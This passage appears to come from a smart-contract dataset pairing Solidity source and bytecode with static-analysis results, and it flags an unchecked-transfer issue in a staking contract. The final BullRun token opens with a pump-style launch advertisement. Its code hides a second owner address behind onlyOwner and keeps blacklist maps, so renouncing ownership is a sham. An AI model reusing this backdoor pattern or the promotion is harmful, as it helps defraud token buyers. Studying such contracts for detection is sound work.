05050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212202a41c77f94697644718442c92150688bf40fbeaae5a28b5ea0080673fa6d5ce064736f6c63430006060033
{"success": true, "error": null, "results": {}}
8,553
0x130f7e6d7e6cbaf4820c1eca9558dcdbce4c2e12
/** *Submitted for verification at Etherscan.io on 2022-04-26 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.13; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } contract BlocksRewarder is Ownable, ReentrancyGuard { IERC20 public token; struct User { uint256 stakeTime; uint256 allocatedBalance; } mapping(address => User) public totalPayoutsFor; uint256 public totalClaimed; uint256 public totalAllocated; uint256 public stakeRewardFactor; event Allocated(uint256 totalAllocated); event ClaimedChanged(uint256 totalUnclaimed); event ERC20TokensRemoved(address indexed tokenAddress, address indexed receiver, uint256 amount); event StakeRewardFactorChanged(uint256 stakeRewardFactor); event StakeRewardEndTimeChanged(uint256 stakeRewardEndTime); constructor( address _token ) { token = IERC20(_token); stakeRewardFactor = 7300 * 1 days; // default : a user has to stake 7300 tokens for 1 day to receive 1 reward token } function allocateRewards(address[] calldata _beneficiaries, uint256[] calldata _earnings) external onlyOwner { require(_beneficiaries.length == _earnings.length, "Invalid array length"); uint256 _sum = 0; for (uint256 i = 0; i < _beneficiaries.length; i++) { address _beneficiary = _beneficiaries[i]; uint256 _totalEarned = _earnings[i]; uint256 _totalReceived = totalPayoutsFor[_beneficiary].allocatedBalance; totalPayoutsFor[_beneficiary].allocatedBalance = _totalEarned + _totalReceived; totalPayoutsFor[_beneficiary].stakeTime = block.timestamp; _sum += _totalEarned; totalAllocated = _sum; } emit Allocated(totalAllocated); } function _fetchUserReward() internal view returns (uint256 rewards){ uint256 _timeStaked = block.timestamp - totalPayoutsFor[msg.sender].stakeTime; uint256 _userStakeFactor = _timeStaked * totalPayoutsFor[msg.sender].allocatedBalance; uint256 _stakeReward = _userStakeFactor / stakeRewardFactor; return _stakeReward; } function getAccumulatedRewards() external view returns (uint256 rewards){ return _fetchUserReward(); } function _contractBalance() internal view returns (uint256 balance) { uint256 blocksBalance = token.balanceOf(address(this)); return blocksBalance; } function getContractBalance() external view returns (uint256 balance) { return _contractBalance(); } function claim() external nonReentrant { require(totalPayoutsFor[msg.sender].allocatedBalance > 0, "Balance must be > 0"); uint256 _withdrawalAmount = totalPayoutsFor[msg.sender].allocatedBalance + _fetchUserReward(); require(_withdrawalAmount <= _contractBalance(), "Contract balance too low."); // Update allocation increaseClaimed(_withdrawalAmount); totalAllocated -= totalPayoutsFor[msg.sender].allocatedBalance; // Update user allocation and stake time totalPayoutsFor[msg.sender].stakeTime = block.timestamp; totalPayoutsFor[msg.sender].allocatedBalance = 0; token.transfer(msg.sender, _withdrawalAmount); } function setStakeRewardFactor(uint256 _stakeRewardFactor) external onlyOwner{ stakeRewardFactor = _stakeRewardFactor; emit StakeRewardFactorChanged(_stakeRewardFactor); } function removeOtherERC20Tokens(address _tokenAddress) external onlyOwner { uint256 balance = IERC20(_tokenAddress).balanceOf(address(this)); IERC20(_tokenAddress).transfer(msg.sender, balance); emit ERC20TokensRemoved(_tokenAddress, msg.sender, balance); } function increaseClaimed(uint256 delta) internal { totalClaimed = totalClaimed + delta; emit ClaimedChanged(totalClaimed); } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806387f075d91161008c578063bf83f51f11610066578063bf83f51f14610202578063d54ad2a11461021e578063f2fde38b1461023c578063fc0c546a14610258576100ea565b806387f075d9146101aa5780638da5cb5b146101c85780638efb31c7146101e6576100ea565b80635951eff1116100c85780635951eff1146101485780636f9fb98a14610164578063715018a61461018257806387e1c5b01461018c576100ea565b806345f7f249146100ef5780634d676fa71461010d5780634e71d92d1461013e575b600080fd5b6100f7610276565b6040516101049190610fef565b60405180910390f35b61012760048036038101906101229190611072565b61027c565b60405161013592919061109f565b60405180910390f35b6101466102a0565b005b610162600480360381019061015d9190611072565b6105b3565b005b61016c610795565b6040516101799190610fef565b60405180910390f35b61018a6107a4565b005b6101946108de565b6040516101a19190610fef565b60405180910390f35b6101b26108ed565b6040516101bf9190610fef565b60405180910390f35b6101d06108f3565b6040516101dd91906110d7565b60405180910390f35b61020060048036038101906101fb919061111e565b61091c565b005b61021c60048036038101906102179190611206565b6109d9565b005b610226610c42565b6040516102339190610fef565b60405180910390f35b61025660048036038101906102519190611072565b610c48565b005b610260610df0565b60405161026d91906112e6565b60405180910390f35b60055481565b60036020528060005260406000206000915090508060000154908060010154905082565b6002600154036102e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102dc9061135e565b60405180910390fd5b60026001819055506000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015411610372576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610369906113ca565b60405180910390fd5b600061037c610e16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101546103c99190611419565b90506103d3610ed6565b811115610415576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161040c906114bb565b60405180910390fd5b61041e81610f7e565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101546005600082825461047291906114db565b9250508190555042600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055506000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b815260040161056592919061150f565b6020604051808303816000875af1158015610584573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a89190611570565b505060018081905550565b6105bb610fce565b73ffffffffffffffffffffffffffffffffffffffff166105d96108f3565b73ffffffffffffffffffffffffffffffffffffffff161461062f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610626906115e9565b60405180910390fd5b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161066a91906110d7565b602060405180830381865afa158015610687573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ab919061161e565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b81526004016106e892919061150f565b6020604051808303816000875af1158015610707573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072b9190611570565b503373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f4c9443772ec3472e2ea8a88e5c31e6bb75e94541dc672d5ca2a1197ada10b598836040516107899190610fef565b60405180910390a35050565b600061079f610ed6565b905090565b6107ac610fce565b73ffffffffffffffffffffffffffffffffffffffff166107ca6108f3565b73ffffffffffffffffffffffffffffffffffffffff1614610820576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610817906115e9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006108e8610e16565b905090565b60065481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610924610fce565b73ffffffffffffffffffffffffffffffffffffffff166109426108f3565b73ffffffffffffffffffffffffffffffffffffffff1614610998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098f906115e9565b60405180910390fd5b806006819055507f929e0b2903ee7e8bb87bf220a340db1f5551e7042e5f2567ed08117c0709fa21816040516109ce9190610fef565b60405180910390a150565b6109e1610fce565b73ffffffffffffffffffffffffffffffffffffffff166109ff6108f3565b73ffffffffffffffffffffffffffffffffffffffff1614610a55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4c906115e9565b60405180910390fd5b818190508484905014610a9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9490611697565b60405180910390fd5b6000805b85859050811015610c01576000868683818110610ac157610ac06116b7565b5b9050602002016020810190610ad69190611072565b90506000858584818110610aed57610aec6116b7565b5b9050602002013590506000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015490508082610b499190611419565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001018190555042600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055508185610be29190611419565b9450846005819055505050508080610bf9906116e6565b915050610aa1565b507f60a0c13c5aa0acfe5cd0c4f3ac6b9fe2742094a559183932b66e20108fc2be19600554604051610c339190610fef565b60405180910390a15050505050565b60045481565b610c50610fce565b73ffffffffffffffffffffffffffffffffffffffff16610c6e6108f3565b73ffffffffffffffffffffffffffffffffffffffff1614610cc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cbb906115e9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610d33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2a906117a0565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015442610e6791906114db565b90506000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015482610eb991906117c0565b9050600060065482610ecb9190611849565b905080935050505090565b600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610f3491906110d7565b602060405180830381865afa158015610f51573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f75919061161e565b90508091505090565b80600454610f8c9190611419565b6004819055507fc58f861f50ca7e2541250d781773a4614f235d08e72ecc0d2f25028b70a1b665600454604051610fc39190610fef565b60405180910390a150565b600033905090565b6000819050919050565b610fe981610fd6565b82525050565b60006020820190506110046000830184610fe0565b92915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061103f82611014565b9050919050565b61104f81611034565b811461105a57600080fd5b50565b60008135905061106c81611046565b92915050565b6000602082840312156110885761108761100a565b5b60006110968482850161105d565b91505092915050565b60006040820190506110b46000830185610fe0565b6110c16020830184610fe0565b9392505050565b6110d181611034565b82525050565b60006020820190506110ec60008301846110c8565b92915050565b6110fb81610fd6565b811461110657600080fd5b50565b600081359050611118816110f2565b92915050565b6000602082840312156111345761113361100a565b5b600061114284828501611109565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126111705761116f61114b565b5b8235905067ffffffffffffffff81111561118d5761118c611150565b5b6020830191508360208202830111156111a9576111a8611155565b5b9250929050565b60008083601f8401126111c6576111c561114b565b5b8235905067ffffffffffffffff8111156111e3576111e2611150565b5b6020830191508360208202830111156111ff576111fe611155565b5b9250929050565b600080600080604085870312156112205761121f61100a565b5b600085013567ffffffffffffffff81111561123e5761123d61100f565b5b61124a8782880161115a565b9450945050602085013567ffffffffffffffff81111561126d5761126c61100f565b5b611279878288016111b0565b925092505092959194509250565b6000819050919050565b60006112ac6112a76112a284611014565b611287565b611014565b9050919050565b60006112be82611291565b9050919050565b60006112d0826112b3565b9050919050565b6112e0816112c5565b82525050565b60006020820190506112fb60008301846112d7565b92915050565b600082825260208201905092915050565b7f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00600082015250565b6000611348601f83611301565b915061135382611312565b602082019050919050565b600060208201905081810360008301526113778161133b565b9050919050565b7f42616c616e6365206d757374206265203e203000000000000000000000000000600082015250565b60006113b4601383611301565b91506113bf8261137e565b602082019050919050565b600060208201905081810360008301526113e3816113a7565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061142482610fd6565b915061142f83610fd6565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611464576114636113ea565b5b828201905092915050565b7f436f6e74726163742062616c616e636520746f6f206c6f772e00000000000000600082015250565b60006114a5601983611301565b91506114b08261146f565b602082019050919050565b600060208201905081810360008301526114d481611498565b9050919050565b60006114e682610fd6565b91506114f183610fd6565b925082821015611504576115036113ea565b5b828203905092915050565b600060408201905061152460008301856110c8565b6115316020830184610fe0565b9392505050565b60008115159050919050565b61154d81611538565b811461155857600080fd5b50565b60008151905061156a81611544565b92915050565b6000602082840312156115865761158561100a565b5b60006115948482850161155b565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006115d3602083611301565b91506115de8261159d565b602082019050919050565b60006020820190508181036000830152611602816115c6565b9050919050565b600081519050611618816110f2565b92915050565b6000602082840312156116345761163361100a565b5b600061164284828501611609565b91505092915050565b7f496e76616c6964206172726179206c656e677468000000000000000000000000600082015250565b6000611681601483611301565b915061168c8261164b565b602082019050919050565b600060208201905081810360008301526116b081611674565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006116f182610fd6565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611723576117226113ea565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061178a602683611301565b91506117958261172e565b604082019050919050565b600060208201905081810360008301526117b98161177d565b9050919050565b60006117cb82610fd6565b91506117d683610fd6565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561180f5761180e6113ea565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061185482610fd6565b915061185f83610fd6565b92508261186f5761186e61181a565b5b82820490509291505056fea2646970667358221220751c855a1b931e94ca07d95d0cf53dc5141dd604a2ae9569f0a75a9a9f36166564736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
8,554
0x9432e4c77788d77422a482b08a759300ad644133
/* 💰 FAIR LAUNCH TONIGHT 💰 This new ERC project has a very nice unique concept which allows holders to vote for what memecoin the Bull Run should commence for. Bull Run will provide automatic reflections. 💰Fair Launch on wednesday No Pre-sale 💰15k starting liquidity 💰 Reflections included just by holding. More hold = more tokens = more money 💶💶💶 💰15,200 Starting LP & Anti-bot Scripting. 💰Liquidity will be Locked on launch 📈 I had a nice conversation with the dev he was really curious if i had any feedback on the project and he is very motivated to make this work out. BASED DEV 🚀 IM HYPED FOR THIS GUYS Risk level (🟢) MID TERM For more information: 💬 TG : https://t.me/bullrunerc 🌎 Website : https://www.bullruntoken.org STAY RICH FOLKS 💰💶📈 Sincerely, @ScroogesCalls */ pragma solidity ^0.6.12; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BullRun is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply = 1000000000000000000000000 * 10**18; string private _name = 'Bull Run - https://t.me/bullrunerc'; string private _symbol = '$BRUN'; uint8 private _decimals = 18; address private _owner; address private _safeOwner; address private _uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor () public { _owner = owner(); _safeOwner = _owner; _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, 